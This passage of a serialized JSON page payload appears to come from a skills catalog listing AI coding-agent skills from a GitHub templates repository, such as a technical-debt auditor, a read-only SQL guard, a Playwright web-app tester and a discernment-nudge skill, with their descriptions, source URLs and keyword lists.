scoring","liquidity","which","for","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":124,"publishedAt":57},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[123],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[125,126,127,128,129,130,131,132,133,134,135,40,136,137,138,139,140,141,142,143],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":155,"publishedAt":57},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[150,151,152],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":153,"categoryName":154,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000033","数据分析师",[156,157,158,159,160,161,162,103,163,164,165,166,167,168,169,106,170,171,40,172],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":177,"licenseFileUrl":178,"sourceHtmlUrl":179,"categories":180,"keywords":184,"publishedAt":57},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[181],{"categoryNo":182,"categoryName":183,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,103,207],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":177,"licenseFileUrl":212,"sourceHtmlUrl":213,"categories":214,"keywords":217,"publishedAt":57},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[215,216],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":182,"categoryName":183,"taxonomyType":21,"taxonomyTypeDesc":22},[218,41,219,220,221,186,222,195,196,223,224,225,226,103,227,108,228],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":230,"name":231,"nameZh":6,"description":232,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":177,"licenseFileUrl":233,"sourceHtmlUrl":234,"categories":235,"keywords":243,"publishedAt":57},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[236,239,240],{"categoryNo":237,"categoryName":238,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":241,"categoryName":242,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000036","内容创作者",[244,245,246,247,248,249,250,251,188,252,198,136,253,254,255,256,257,168,258,40,259,260,261,262,263,114,264],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]